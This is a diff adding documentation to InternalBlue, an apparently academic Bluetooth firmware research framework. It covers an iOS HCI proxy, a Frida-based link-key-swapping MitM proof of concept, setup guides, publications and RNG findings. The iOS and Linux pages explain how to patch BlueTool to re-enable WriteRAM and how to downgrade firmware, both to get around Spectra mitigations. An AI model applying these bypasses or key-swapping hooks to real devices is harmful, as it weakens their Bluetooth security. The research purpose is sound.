inkscape:window-x="1280"
inkscape:window-y="18"
inkscape:window-maximized="0"
fit-margin-top="0"
fit-margin-left="0"
fit-margin-right="0"
fit-margin-bottom="0" />
<metadata
id="metadata5">
<rdf:RDF>
<cc:Work
rdf:about="">
<dc:format>image/svg+xml</dc:format>
<dc:type
rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
<dc:title></dc:title>
</cc:Work>
</rdf:RDF>
</metadata>
<g
inkscape:label="Layer 1"
inkscape:groupmode="layer"
id="layer1"
transform="translate(137.31823,-97.398391)">
<g
id="g945"
transform="translate(15.723867)">
<g
transform="matrix(0.06446822,0,0,0.06447919,-153.0421,97.398391)"
id="g917">
<path
style="fill:#0069b4"
inkscape:connector-curvature="0"
class="cls-2"
d="m 507.93,583.69 a 0.55,0.55 0 0 1 -0.25,0.33 H 77.6 a 0.51,0.51 0 0 1 -0.26,-0.33 c 1,-0.05 2.07,-0.14 3.11,-0.14 h 424.37 c 1.03,0 2.07,0.09 3.11,0.14 z"
transform="translate(-0.32,-0.34)"
id="path907" />
<path
style="fill:#0069b4"
inkscape:connector-curvature="0"
class="cls-2"
d="m 507.93,583.69 c -1,-0.05 -2.08,-0.14 -3.11,-0.14 H 80.45 c -1,0 -2.08,0.09 -3.11,0.14 A 65.68,65.68 0 0 1 54.4,579.31 C 26,568.47 8.67,548.08 2.4,518.36 A 67.65,67.65 0 0 1 1.15,504.29 q 0,-211.91 0,-423.82 A 79.85,79.85 0 0 1 66.66,2.18 83.26,83.26 0 0 1 81.44,0.83 h 422.38 a 80,80 0 0 1 78.58,63.24 77.7,77.7 0 0 1 1.7,16.67 q 0,130.08 0,260.15 v 98.64 c 0,0.64 -0.05,1.28 0,1.92 0.1,1.09 -0.23,1.69 -1.44,1.54 a 13.83,13.83 0 0 0 -1.44,0 h -64.57 c -3.3,0 -2.86,0.43 -2.86,-3 q 0,-165.24 0,-330.47 c 0,-9.89 -2.77,-18.77 -9.52,-26.16 a 35.76,35.76 0 0 0 -26.05,-12 c -0.64,0 -1.28,0 -1.92,0 q -183.72,0 -367.43,0 a 36.21,36.21 0 0 0 -22,6.83 35.5,35.5 0 0 0 -15.12,27.4 c -0.12,1.83 -0.15,3.67 -0.15,5.51 q 0,181.79 0,363.59 c 0,5.64 0.52,11.2 2.88,16.4 5.67,12.55 15.27,20 29,22 a 47.89,47.89 0 0 0 7.18,0.33 h 469.08 c 3.9,0 4,0 3.27,3.94 q -7.75,40.61 -44.83,58.93 a 75.67,75.67 0 0 1 -29.55,7.48 4.22,4.22 0 0 1 -0.7,-0.08 z"
transform="translate(-0.32,-0.34)"
id="path909" />
<path
style="fill:#0069b4"
inkscape:connector-curvature="0"
class="cls-2"
d="m 414.84,293.5 c 2.7,2.41 5.21,4.62 7.53,7 12.55,13.11 20.33,28.64 22.76,46.61 a 84.15,84.15 0 0 1 -63.95,93.9 85.13,85.13 0 0 1 -19.47,2.27 H 143.09 c -4.13,0 -4.13,0 -4.13,-4.11 q 0,-133.54 -0.07,-267.1 c 0,-15 12.65,-28.38 28.39,-28.36 q 97.42,0.13 194.86,0 a 84.26,84.26 0 0 1 54.34,148.3 z M 282.08,261.67 h 63.32 c 1.28,0 2.56,0 3.83,-0.1 16.27,-0.89 28,-17 23.79,-32.81 -3.19,-12.06 -13.63,-20 -26.38,-20 H 215.2 c -3,0 -2.71,-0.29 -2.71,2.69 q 0,23.63 0,47.25 c 0,3.24 -0.46,3 2.91,3 z m 0,118 h 63.12 a 44.32,44.32 0 0 0 6,-0.22 26.41,26.41 0 0 0 10.42,-48.45 28.65,28.65 0 0 0 -16,-4.22 q -63.6,0.06 -127.19,0 c -1.36,0 -2.72,0 -4.08,0 -1.85,0 -1.85,0 -1.89,1.83 0,0.32 0,0.64 0,1 q 0,23.64 0,47.28 c 0,3.07 -0.41,2.78 2.84,2.79 z"
transform="translate(-0.32,-0.34)"
id="path911" />
</g>
<text
id="text934"
y="127.89525"
x="-103.61334"
style="font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;font-size:20.88549042px;line-height:9.79007339px;font-family:Arial;-inkscape-font-specification:Arial;text-align:start;letter-spacing:0px;word-spacing:0px;writing-mode:lr-tb;text-anchor:start;fill:#0069b4;fill-opacity:1;stroke:none;stroke-width:0.39160296px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
xml:space="preserve"><tspan
style="font-style:normal;font-variant:normal;font-weight:bold;font-stretch:normal;font-size:31.32823563px;font-family:Arial;-inkscape-font-specification:'Arial Bold';text-align:start;text-anchor:start;fill:#0069b4;fill-opacity:1;stroke-width:0.39160296px"
y="127.89525"
x="-103.61334"
id="tspan932"
sodipodi:role="line">InternalBlue</tspan></text>
</g>
</g>
</svg>

After

Width:  |  Height:  |  Size: 5.5 KiB

+109
View File
@@ -0,0 +1,109 @@
# iOS internalblued
This project is a proxy that redirects the *iOS* Bluetooth socket and exposes it as a
TCP socket which can be used to send HCI commands to the Bluetooth controller of the device.
A jailbroken device is required.
A compiled version of `internalblued` can be found in [`ios/packages/com.ttdennis.internalblued_0.0.1_iphoneos-arm.deb`](../ios/packages/com.ttdennis.internalblued_0.0.1_iphoneos-arm.deb)
for UART devices and in [`ios-pcie/packages/com.ttdennis.internalblued_0.0.1-54+debug_iphoneos-arm.deb)`](../ios-pcie/packages/com.ttdennis.internalblued_0.0.1-54+debug_iphoneos-arm.deb)
for PCIe devices.
UART devices:
* iPhone 6
* iPhone 7
* iPhone SE
* iPhone 8
* iPhone XR (yes, even though this one is already A12) (not tested)
PCIe devices:
* iPhone Xs (not tested)
* iPhone 11
* iPhone SE2
* iPhone 12
## Installing
1. Transfer the `.deb` file to your iOS device
2. Run `dpkg -i your-deb-file.deb` to install `internalblued` on your device
The installer depends on `jtool2`, which can be downloaded [here](http://www.newosxbook.com/tools/jtool.html)
or from the [kiiimo](http://cydia.kiiimo.org/) repo via Cydia.
On *Linux*, `libimobiledevice` bindings see to be slightly different and you might to adjust the following line:
```
dev_id = "iOS Device (" + dev.serial.decode('utf-8') + ")"
```
## Running internalblued
Once installed, `internalblued` runs as a `LaunchDaemon` and is ready to be used. By default it will listen to port 1234 (TCP) on localhost. If `usbmux` is installed, `internalblue` will be able to connect to the phone as the port is passed through `usbmuxd`.
During usage with `internalblue` Bluetooth has to be disabled in the phones Settings App.
In case the Bluetooth chip stops responding, Bluetooth has to be turned on and off again in the Settings App.
There is a Settings App pane for `internalblued` to turn off the daemon and adapt the listening port. However, this is usually not required. As long as `internalblue` is not connected to `internalblued`'s socket, Bluetooth can be used without any restrictions.
## Building internalblued
1. Install [theos](https://github.com/theos/theos)
2. Install the correct version of PrivateFramework header files (e.g. from [here](https://github.com/xybp888/iOS-SDKs)) for your build into your SDK
3. Run `make package`
4. A `.deb` file should be in the `packages` folder now
## BlueTool
More inconvenient to use, but still an option for unsupported devices, is `BlueTool`.
It can even be scripted, but the scripts must be located in `/etc/bluetool`.
For example, during our Random Number Generator (RNG) tests, we used the following commands
to access the RNG area and execute the `LE_Rand` HCI command. Note that the input must be
decimal but the output is hexadecimal. Similar to `internalblued`, `BlueTool` can only
run while Bluetooth is turned off.
```
device -D
hci cmd 0xfc4d 0 38 96 0 32
HCI Command Response: 01 4D FC 00 03 00 00 00 01 00 00 02 DC 70 02 76 77 77 77 77 77 77 77 77 00 00 00 00 00 00 00 00 00 00 00 00
hci cmd 0x2018
HCI Command Response: 01 18 20 00 2A FC 1F 73 67 11 06 F9
```
## Bypassing the WriteRAM Restriction
After iOS 13.3, WriteRAM is blocked. This is part of the Spectra mitigation and should prevent
an attacker with control over `bluetoothd` to escalate into the Wi-Fi chip (yes, Wi-Fi, not Bluetooth, this is
no typo). Re-enabling WriteRAM poses a security risk but is required for experimentation.
The security patch blocks the WriteRAM command to just return the status 0x12 instead of executing it.
Starting from iOS 13.6, `.hcd` files are no longer in the firmware directory but built-in into `BlueTool`.
The patch we want to undo looks like this:
```
ROM:00146176 4C 2D CMP R5, #0x4C ; 'L' ; fc4c: VSC_Write_RAM -> Block this
ROM:00146178
ROM:00146178 loc_146178 ; CODE XREF: bthci_cmd_HandleCommand+B0↓j
ROM:00146178 ; bthci_cmd_HandleCommand+B4↓j
ROM:00146178 08 D0 BEQ loc_14618C
ROM:0014617A 08 DC BGT loc_14618E
ROM:0014617C 0A 2D CMP R5, #0xA ; fc0a: VSC_Super_Peek_Poke
```
We can simply replace the `0x4c`, which is the WriteRAM command, with `0x42`, which is not used.
Note that `BlueTool` contains multiple copies of these `.hcd` files and you should replace all of them.
The accordingly modified `BlueTool` needs to be copied to `/usr/sbin/BlueTool` and `/usr/sbin/BlueTool.sbin`.
To get Bluetooth working properly again after replacing `BlueTool`, run:
```
killall -9 bluetoothd internalblued BlueTool
```
Then, start a new *InternalBlue* Session.
**Bluetooth will only work while the device is jailbroken with a modified BlueTool version!
Use at your own risk and make a backup of the original.** Without jailbreak, the integrity check
for `BlueTool` fails. **You can only reboot the device in this state with checkm8, your device will
be bricked if you do this on unthethered jailbreaks like unc0ver!** You can still unbrick it by re-flashing
iOS, but if you did not have a blob backup, you'll need to upgrade it to the latest signed iOS version.
[BlueTool for iOS 13.6 on an iPhone 8](../ios/BlueTool_iPhone8_iOS13.6), might also work on other pre-A12 devices.
[BlueTool for iOS 14.3 on an iPhone 7+8](../ios/BlueTool_iPhone7+8_iOS14.3), might also work on other pre-A12 devices.
[BlueTool for iOS 14.7 on an iPhone 7+8](../ios/BlueTool_iPhone7+8_iOS14.7), might also work on other pre-A12 devices.
+64
View File
@@ -0,0 +1,64 @@
Happy MitM - Fun and Toys in Every Bluetooth Device
---------------------------------------------------
The Bluetooth 5.2 specification requires to warn the user upon authentication
failures (p. 1314). However, none of the current stacks implements this.
For a simple PoC, we temporarily change the link key when the chip requests
it via HCI. Note that **this PoC can also be used for various other HCI-based
experiments**, e.g., to test non-compliant chip behavior. As of now, these
scripts are based on Frida and available for Android and iOS.
You can find more details in our WiSec 2021 publication.
#### iOS PoC
As a proof of concept, we use Frida on an iPhone 8 with iOS 14.4 (same iOS as iPhone 7)
and switch the link key upon request. The [script](../examples/keychange/ios_keychange.js) can be called as follows:
```
frida -U bluetoothd --no-pause -l ios_keychange.js
```
Frida automatically applies changes to the script during runtime as soon as the
script changes, so it is possible to change `var swap_key = true;` to `false` and
just save the script to disable swapping the keys and just displaying them.
Of course, we could also try to make a perfect copy of the iPhone and create a
device with a similar MAC address. However, this also requires to set the same
IO capabilities and device properties and might introduce additional sources of
failure.
#### Android PoC
Our PoC also contains a [script](../examples/keychange/android_keychange.js) for an Android phone, the Samsung Galaxy Note20 5G
on a patchlevel of January 2021. However, since we hook into `libbluetooth.so` without
symbols this only works in this very specific version. Moreover, since Android loads all
link keys on Bluetooth initialization, one needs to disable and re-enable Bluetooth to
get the PoC working.
The PoC works for both BLE and Classic Bluetooth. BLE is best to be tested with the
nRF Connect app, since this supports separate bonding without downloading the actual app
of the BLE gadget.
Usage:
```
frida -U com.android.bluetooth --no-pause -l android_keychange.js
```
#### Linux PoC
For BlueZ, just replace the key in `/var/lib/bluetooth/mac1/mac2/info`.
`bluetoothd` needs to be restarted. Hooking with Frida didn't work within HCI because
BlueZ uses a separate management layer and `hci.c` only seems to be used by `hcitool`.
The management layer is described in `doc/mgmt-api.txt` and has commands to load all
link keys and all long term keys (*Load Link Keys Command*, *Load Long Term Keys Command*),
which are issued during startup and read from `/var/lib/bluetooth`. Thus, we could hook
the management interface from userspace, but that wouldn't add any value to *InternalBlue*
later on.
Some more details on the Linux BlueZ architecture that are relevant for this are
also described in this [blog post](https://naehrdine.blogspot.com/2021/03/bluez-linux-bluetooth-stack-overview.html).
+117
View File
@@ -0,0 +1,117 @@
Linux Setup
-----------
The following steps are required to use the CYW20735B1/CYW20819A evaluation kit as normal HCI device on Linux with BlueZ.
##1. Setup as HCI device
**CYW20819**: Set up the device with a baud rate of 115200 and the Broadcom driver. The baud rate will be upgraded
later on during device setup. Thanks to [Paul](https://naehrdine.blogspot.com/2021/03/bluez-linux-bluetooth-stack-overview.html?showComment=1619213054106#c1857559418654834801)
for pointing this out.
btattach -P bcm --speed 115200 -B /dev/ttyUSB0
echo 1 >sys/kernel/debug/bluetooth/hci0/vendor_diag
**CYW20735**: You need to set the baud rate to 3 Mbit/s. Replace `/dev/ttyUSB0` with your device.
btattach -B /dev/ttyUSB0 -S 3000000
If this does not work directly, use:
stty -F /dev/ttyUSB0 3000000
btattach -B /dev/ttyUSB0
Sometimes, you need to plug/unplug the evaluation board multiple times and run a combination of the commands above.
If setup was successful can be checked with `hciconfig`. A MAC address with all zeros indicates that the baud rate
was not set correctly, and you need to try again.
## 2. Use with BlueZ
Assuming that you already have a regular Bluetooth device, your new device is `hci1`.
hciconfig hci1 up
You can list your HCI devices:
hcitool dev
##3. Command line tools for connections
Scanning for devices:
hcitool scan
hcitool lescan
Connections and pairing:
bluetoothctl
Enter into `bluetoothctl` command prompt:
power on
agent on
default-agent
scan on
Optional - accept connections:
advertise on
pairable on
discoverable on
Do a pairing and then connect:
pair aa:bb:cc:dd:ee:ff
connect aa:bb:cc:dd:ee:ff
Diagnostics
-----------
On some devices, diagnostic logging for LMP and LCP already works out of the box.
Note that diagnostics can do more, but the additional features are currently not
integrated into *BlueZ* or the Linux kernel.
To enable diagnostics, execute:
echo 1 > /sys/kernel/debug/bluetooth/hci0/vendor_diag
By default, this entry is only created for Intel and Broadcom chips.
The evaluation board claims to be Cypress, a different vendor ID, thus
the vendor diagnostics are missing.
*BlueZ* already comes with a monitor that decodes some parts of the diagnostic
traffic, simply run:
btmon
You can also use the monitor mode in *Wireshark* by opening `bluetooth-monitor`
in the device list instead of `bluetooth`.
If your device is not supported within the Linux kernel for vendor diagnostics,
you can still patch around in the kernel, such as the [BIAS](https://github.com/francozappa/bias/tree/master/linux-4.14.111)
PoC did it. A diff against the original kernel can be found [here](../linux/bias_linux-4.14.111.diff).
Since this means recompiling the kernel, use this at your own risk. This is definitely not how
it is meant to be used.
Firmware Downgrade
------------------
The Spectra bug fixes are a bit special on Linux, at least for the Raspberry Pi 3+/4/4B chip. Reading
RAM still works except the Patchram region. Thus, commands like `info patchram` result in a timeout
in InternalBlue. Further analysis with `btmon` shows that the return status on HCI is `Status: Invalid HCI Command Parameters (0x12)`
when reading the Patchram bitfield.
You can work around this by downgrading the firmware as follows:
```
cd /usr/lib/firmware/brcm/
cp BCM4345C0.hcd BCM4345C0_orig.hcd
wget https://github.com/RPi-Distro/bluez-firmware/blob/96eefffcccc725425fd83be5e0704a5c32b79e54/broadcom/BCM4345C0.hcd?raw=true
mv 'BCM4345C0.hcd?raw=true' BCM4345C0.hcd
```
+111
View File
@@ -0,0 +1,111 @@
Prerequisites
-------------
*InternalBlue* runs as regular user, no administrator access is required.
Install `homebrew` (see https://brew.sh/) and then use it to install `python3` and optionally `git`.
Hardware and OS
---------------
*InternalBlue* support is the best on *macOS Catalina* with a *BCM20703A2* chip. Symbols for this particular chip
are in our [Polypyus](https://github.com/seemoo-lab/polypyus) repo, and on *Catalina*, the HCI command for writing
to RAM still works.
Basic operation and Bluetooth hacking is supported on anything from *macOS High Sierra* to *macOS Big Sur* as long
as it is a Broadcom chip :)
Installation
-----------
#### [1] Get files
Get *InternalBlue*, either by cloning with `git`
```sh
git clone https://github.com/seemoo-lab/internalblue
cd internalblue
```
or downloading from GitHub.
```sh
curl -LJO https://github.com/seemoo-lab/internalblue/archive/master.zip
unzip internalblue-master.zip
cd internalblue-master
```
#### [2] New virtual environment.
```sh
pip3 install virtualenv
virtualenv -p python3 venv
source venv/bin/activate
```
#### [3] Install
Now you have to choose whether you want to install the requirements for (dis)assembly,
which can not only take a long time on low-power devices but you also might not need
the features that require these dependencies.
#### [3a] Install Without binutils
If you don't need ARM assembly and disassembly, just specify that you need the macOS-specific dependencies:
```sh
pip install -e .\[macoscore\]
```
#### [3b] Install With binutils
If you want to use ARM assembly and disassembly, which is required for some patches and debugging, install [binutils](https://github.com/Gallopsled/pwntools-binutils).
```sh
brew install wget
wget https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-arm.rb
brew install binutils-arm.rb
```
Also add the `binutils` requirement so that `pip install` looks like this:
```sh
pip install -e .\[macoscore,binutils\]
```
Framework Setup
-----------
#### [a] Precompiled
On macOS High Sierra or older, you need to use a precompiled [IOBluetoothExtended.framework](../macos/IOBluetoothExtended.framework.zip) file.
It only runs after installing the *Swift 5 Runtime Support Command Line Tools*, otherwise, the error
message `Library not loaded: @rpath/libswiftCore.dylib` is shown.
Use the following command to unzip the framework we provide.
```
unzip macos/IOBluetoothExtended.framework.zip -d macos
```
Depending on the installation location, if the `IOBluetoothExtended.framework` is still not found, you might need to
adapt the path in `macoscore.py`.
#### [b] Compile yourself
On macOS Mojave and newer, *Xcode 10.2.1* and up is supported. On these systems, you can build the
framework yourself.
```
open internalblue/macos/IOBluetoothExtended/IOBluetoothExtended.xcodeproj/
```
⌘ + B
Startup
-----------
Now, *InternalBlue* can be executed normally, like shown.
```
python3 -m internalblue.cli
```
You can also use the shortcut `internalblue`.
Debugging
-----------
You can open `PacketLogger`, which is included in the `Additional Tools for Xcode`, to observe all Bluetooth packets.
If you do excessive IO such as dumping the ROM and get the message `Failure: creating socket: Too many open
files`, you need to change the `ulimit`, i.e., `ulimit -n 1000`.
macOS Big Sur
-------------
*InternalBlue* also works on macOS Big Sur! Note that the `writemem` command is blocked. Moreover, to get it working,
you might need to downgrade `pwntools`, i.e., version `4.0.1` seems to work.
Binary file not shown.
+91
View File
@@ -0,0 +1,91 @@
Publications
------------
* **Master Thesis** (07/2018)
*InternalBlue* was initially developed and documented in the
[Masterthesis](internalblue_thesis_dennis_mantz.pdf) by Dennis Mantz.
Afterwards the development was continued by SEEMOO. It was awarded with the [CAST Förderpreis](https://www.cysec.tu-darmstadt.de/cysec/start_news_details_136448.en.jsp).
* **MRMCD Talk** (09/2018)
The basic framework for Nexus 5 / BCM4339 was presented at the MRMCD Conference
2018 in Darmstadt. The talk was also [recorded](https://media.ccc.de/v/2018-154-internalblue-a-deep-dive-into-bluetooth-controller-firmware) and includes an overview of the framework as well as
two demo usages at the end (Following a **Secure Simple Pairing procedure in
Wireshark** and implementing a **proof of concept for CVE-2018-5383**).
* **35C3 Talk** (12/2018)
More extensions were [presented](https://media.ccc.de/v/35c3-9498-dissecting_broadcom_bluetooth) at 35C3 2018 in Leipzig. New features include
creating connections to non-discoverable devices. Moreover, we gave a **demo of
CVE-2018-19860**, which can crash Bluetooth on several Broadcom chips. This talk
was also recorded and gives a more high level overview.
* **TROOPERS Talk** (03/2019)
* **WiSec Paper** (05/2019)
Our WiSec paper [Inside Job: Diagnosing Bluetooth Lower Layers Using Off-the-Shelf Devices](https://arxiv.org/abs/1905.00634) on reversing the
Broadcom Bluetooth diagnostics protocol was accepted, demonstrated and got the replicability label.
* **MobiSys Paper** (06/2019)
Our MobiSys paper [InternalBlue - Bluetooth Binary Patching and Experimentation Framework
](https://arxiv.org/abs/1905.00631) on the complete *InternalBlue* ecosystem got accepted.
* **REcon Talk** (06/2019)
We gave a talk at REcon, [Reversing and Exploiting Broadcom Bluetooth](https://cfp.recon.cx/reconmtl2019/talk/EQTRGU/).
It provides a first intuition on how to do binary patching in C with Nexmon to change Bluetooth functionality.
* **MRMCD Talk** (09/2019)
Our talk [Playing with Bluetooth](https://media.ccc.de/v/2019-185-playing-with-bluetooth) focuses on new device support
within *InternalBlue* and the Patchram state of various devices.
* **Bachelor Thesis** (12/2019)
*InternalBlue* was ported to macOS as part of Davide Toldo's [Bachelor Thesis](macos_bluetooth_stack_thesis_davide_toldo.pdf), in which he explores how the Bluetooth stack works in macOS and how it is possible to send and receive HCI and ACL packets through unofficial APIs.
* **36C3 Talk** (12/2019)
The rather generic talk [All wireless communication stacks are equally broken](https://media.ccc.de/v/36c3-10531-all_wireless_communication_stacks_are_equally_broken)
points out a couple of new research directions and new Bluetooth projects coming up.
* **EWSN Paper & Demo** (02/2020)
We did some work on improving blacklisting performance of BLE data connections. Currently in a separate *blacklisting* branch.
* **CiderSecCon Talk** (03/2020)
TROOPERS was canceled, but we did a stream of a talk that was recorded on [YouTube](https://www.youtube.com/watch?v=Nx2ZDLaJ1-0&t=4920).
* **Easterhegg Talks** (04/2020)
Easterhegg was canceled, but we streamed via DiVOC. The recordings for the talks about
[Random Number Generators](https://media.ccc.de/v/DiVOC-6-finding_eastereggs_in_broadcom_s_bluetooth_random_number_generator)
and [Frankenstein](https://media.ccc.de/v/DiVOC-7-no_poc_no_fix_a_sad_story_about_bluetooth_security) are online.
* **WiSec Paper** (07/2020)
We looked into Apple's Bluetooth ecosystem, especially MagicPairing, which secures AirPods.
For more details, read our paper [MagicPairing: Apple's Take on Securing Bluetooth Peripherals](https://arxiv.org/abs/2005.07255).
* **Binary Analysis Research Workshop Paper** (01/2021)
We built a tool that can diff raw firmware and benchmarked it on Broadcom/Cypress chips.
The source code is on the [Polypyus](https://github.com/seemoo-lab/polypyus) GitHub page.
There's also a [video](https://www.youtube.com/watch?v=kQS0pGs7bsM) and a [paper](https://www.ndss-symposium.org/wp-content/uploads/bar2021_23004_paper.pdf).
* **WiSec Paper** (07/2021)
New paper demonstrating that all major operating systems don't show warnings if Bluetooth
keys break due to MitM attacks, presented at WiSec. Also see [PoC](keychange.md) scripts.
* **WiSec Tutorial** (07/2021)
[Tutorial](https://sites.nyuad.nyu.edu/wisec21/tutorials/) revisiting the current state of InternalBlue. Basically an update from the REcon 2019
talk, but with more recent explanations, bypassing anti-patching, and explanations on all
the operating system specific hooks.
+72
View File
@@ -0,0 +1,72 @@
HRNG and PRNG Details (CVE-2020-6616)
-------------------------------------
This is a joint work of @naehrdine, @matedealer, and @fxrh.
We collected at least 1GB of data from the following devices and all of them passed the
*Dieharder* tests.
Chip | Device | Samples | Dieharder
-----------| ----------------- | ---------- | -----------
BCM4335C0 | Google Nexus 5 | 2.7GB | Passed
BCM43430A1 | Raspberry Pi 3/Zero W | 1.3GB | Passed
BCM4345B0 | iPhone 6 | 1.8GB | Passed
BCM4355C0 | iPhone 7 | 1.0GB | Passed
BCM4345C0 | Raspberry Pi 3+/4 | 1.4GB | Passed
BCM4358A3 | Samsung Galaxy S6, Nexus 6P | 2.1GB | Passed
CYW20719B1 | Evaluation board | 1.4GB | Passed
CYW20735B1 | Evaluation board | 1.6GB | Passed
CYW20819A1 | Evaluation board | 1.2GB | Passed
The chip in the *iMac Late 2009* is very slow and memory-limited, thus, we only
checked if the HRNG is present. The same is the case for the *Samsung Galaxy S10*
and *S20* chip, as it has a few more security features that make runtime analysis
harder. On the *iPhone 11*, we currently only have `BlueTool` support, which also
limits our analysis capabilities.
We assume that the presence of a HRNG is sufficient, because all devices on that
we were able to perform measurements had good results.
Chip | Device | HRNG present
-----------| ----------------- | -----------
BCM2046A2 | iMac Late 2009 | Yes
BCM20703A1 | MacBook Pro early 2015 | Yes
BCM4375B1 | Samsung Galaxy S10/S20 | Yes
BCM4347B1 | iPhone 8/X/XR | Yes
BCM4378B1 | iPhone 11 | Yes
We found that the firmware of the *Samsung Galaxy S8* does not even reference the HRNG.
Also, we were not able to access the HRNG using known register locations. Each time we
triggered a RNG-related action such as pairing, a breakpoint we set within the PRNG
function was triggered. Since this issue
was already visible inside the firmware without performing measurements on the hardware itself,
we checked all firmware dumps we had. Overall, we identified five different implementation
variants. Those that are not included in the lists above might still have HRNG issues, but
it is way more unlikely. However, *Broadcom* and *Cypress* produced even more chips than
listed here, and they might be missing a HRNG similar to the *Samsung Galaxy S8*.
Chip | Device | Build Date | RNG Variant | HRNG Location | PRNG | Cache
----------|-----------------|------------|-------------|---------------|------|------
BCM2046A2 | iMac Late 2009 | 2007 | 1 | 0xE9A00, 3 regs | Minimal (inline) | No
BCM2070B0 | MacBook 2011 | Jul 9 2008 | 1 | 0xE9A00, 3 regs | Minimal (inline) | No
BCM20702A1 | Asus USB Dongle | Feb (?) 2010 | 1 | 0xEA204, 3 regs | Minimal (inline) | No
BCM4335C0 | Google Nexus 5 | Dec 11 2012 | 2 | 0x314004, 3 regs | Yes (inline) | No
BCM4345B0 | iPhone 6 | Jul 15 2013 | 2 | 0x314004, 3 regs | Yes (inline) | No
BCM20703A1 | MacBook Pro early 2015 | Dec 23 2013 | 2 (?) | 0x314004, 3 regs | (?) | No
BCM43430A1 | Raspberry Pi 3/Zero W | Jun 2 2014 | 2 | 0x352600, 3 regs | Yes (inline) | No
BCM4345C0 | Raspberry Pi 3+/4 | Aug 19 2014 | 2 | 0x314004, 3 regs | Yes (inline) | No
BCM4358A3 | Samsung Galaxy S6, Nexus 6P | Oct 23 2014 | 2 | 0x314004, 3 regs | Yes (inline) | No
BCM4345C1 | iPhone SE | Jan 27 2015 | 2 | 0x314004, 3 regs | Yes (inline) | No
BCM4364B0 | MacBook/iMac 2017-with2019 | Aug 21 2015 | 2 | 0x352600, 3 regs | Yes (inline) | No
BCM4355C0 | iPhone 7 | Sep 14 2015 | 2 | 0x352600, 3 regs | Yes (inline) | No
BCM20703A2 | MacBook/iMac 2016-2017 | Oct 22 2015 | 2 | 0x314004, 3 regs |Yes (inline) | No
CYW20719B1 | Evaluation board | Jan 17 2017 | 2 | 0x352600, 3 regs | Yes (inline) | No
CYW20735B1 | Evaluation board | Jan 18 2018 | 3 | 0x352600, 3 regs | Yes (`rbg_get_psrng`), 8 regs | Yes, breaks after 32 elements
CYW20819A1 | Evaluation board | May 22 2018 | 3 | 0x352600, 3 regs | Yes (`rbg_get_psrng`), 5 regs | Yes, with minor fixes
BCM4347B0 | Samsung Galaxy S8 | Jun 3 2016 | 4 | __None__ | Only option | No
BCM4347B1 | iPhone 8/X/XR | Oct 11 2016 | 5 | 0x352600, 4 regs | None | Asynchronous 32x cache
BCM4375B1 | Samsung Galaxy S10/Note 10/S20 | Apr 13 2018 | 5 | 0x352600, 4 regs | None | Asynchronous 32x cache
BCM4378B1 | iPhone 11 | Oct 25 2018 | 5 | 0x602600, 4 regs | None| Asynchronous 32x cache
+178
View File
@@ -0,0 +1,178 @@
Recent Changes
--------------
* We upgraded from Python 2 to Python 3. If you wrote your own scripts, this might break them. In this case, use
the [python2](https://github.com/seemoo-lab/internalblue/releases/tag/python2) release.
* We reworked the *iOS* implementation.
Requirements
------------
#### Android
* Ideally recompiled `bluetooth.default.so`, but also works on any rooted smartphone, see [Android instructions](android.md)
* Android device connected via ADB
* Best support is currently given for Nexus 5 / BCM4339
* Optional: Patch for Android driver to support Broadcom H4 forwarding
* Optional, if H4: Wireshark [Broadcom H4 Dissector Plugin](https://github.com/seemoo-lab/h4bcm_wireshark_dissector)
#### Linux
* BlueZ, instructions see [here](linux_bluez.md)
* Best support for Raspberry Pi 3/3+/4 and Cypress evaluation boards
* For most commands: Privileged access
#### iOS
* A jailbroken iOS device (tested on iOS 12 and 13 with iPhone 6, SE, 7, 8, X, 11, SE2)
* For iPhones older than XR, use the ios/ daemon
* For iPhones newer than XR, use the ios-pcie/ daemon (these devices have a Bluetooth chip connected via PCIe)
* iOS 12 and 13 have been tested as of now
* `usbmuxd`, which is pre installed on macOS but is available on most Linux distributions as well. Alternatively it can
be obtained from [here](https://github.com/libimobiledevice/usbmuxd).
* The [``internalblued`` daemon](ios.md) installed on the iOS device
* Optional, no jailbreak required: install [iOS Bluetooth Debug Profile](https://developer.apple.com/bug-reporting/profiles-and-logs/) to obtain
HCI and diagnostic messages, either via diagnostic report feature (all iOS versions) or live with PacketLogger (since iOS 13)
#### macOS
* Homebrew
* Xcode
* Instructions see [here](macos.md)
Setup and Installation
----------------------
The framework uses __ADB__ (Android Debug Bridge) to connect to an Android
smartphone, __BlueZ__ sockets on Linux, the undocumented __IOBluetooth__ API on macOS, or the included __iOS Proxy__ on iOS.
For [Android](android.md) with ADB, either connect the phone via USB or setup ADB over TCP and make sure you
enable USB debugging in the developer settings of Android.
If you have a jailbroken [iOS](ios.md) device, you need to install a proxy that locally connects
to the Bluetooth device and forwards HCI commands and events.
On [Linux](linux_bluez.md) with *BlueZ*, everything should work out of the box, but
you need to execute *InternalBlue* as root for most features.
The *InternalBlue* framework supports and requires Python 3.6 and above.
### Install from PyPI
Currently, there is no package published on PyPI for Python 3, this will happen in the near future.
### Install as package from GitHub `master` or any other branch
```sh
pip install https://github.com/seemoo-lab/internalblue/archive/master.zip
```
This will download the contents of current master as a zip archive and install them via `pip`.
No local checkout of the git will exist.
If you want to update you need to run:
```sh
pip install --upgrade https://github.com/seemoo-lab/internalblue/archive/master.zip
```
### Development Install
If you expect that you might want to read the code locally, debug it
or possibly change it you should setup an editable install.
```sh
git clone https://github.com/seemoo-lab/internalblue
cd internalblue
virtualenv -p python3 venv
source venv/bin/activate
pip install --editable ./
```
Any changes to the python code in your git checkout will now be immediately reflected when importing `internalblue` or starting it from your shell.
You can now git pull, change branches or fork to submit your own branches:
```sh
git pull # Update current branch
git checkout origin/$featurebranch # Test some feature or bugfix branch
hub fork # requires https://github.com/cli/cli to be set up before
git checkout -b $your_new_feature_branch
```
### Full Install including assembly, disassembly etc.
Perform all steps of the development install, but additionally tell `pip` to install the `binutils` requirements as well.
```sh
git clone https://github.com/seemoo-lab/internalblue
cd internalblue
virtualenv -p python3 venv
source venv/bin/activate
pip install --editable .\[binutils\]
```
### Dependencies
InternalBlue will by default install the following dependencies:
* `cmd2`
* `pure-python-adb`
If you opt for the full set of features, additionally these dependencies are installed:
* `pwntools`
* `pyelftools`
The `pwntools` module needs the `binutils` package for ARM 32-bit to be installed
on the system. This has to be installed manually by using the packet manager
of your Linux distribution:
# for Arch Linux
sudo pacman -S arm-none-eabi-binutils
# for Ubuntu
sudo apt install binutils-arm-linux-gnueabi
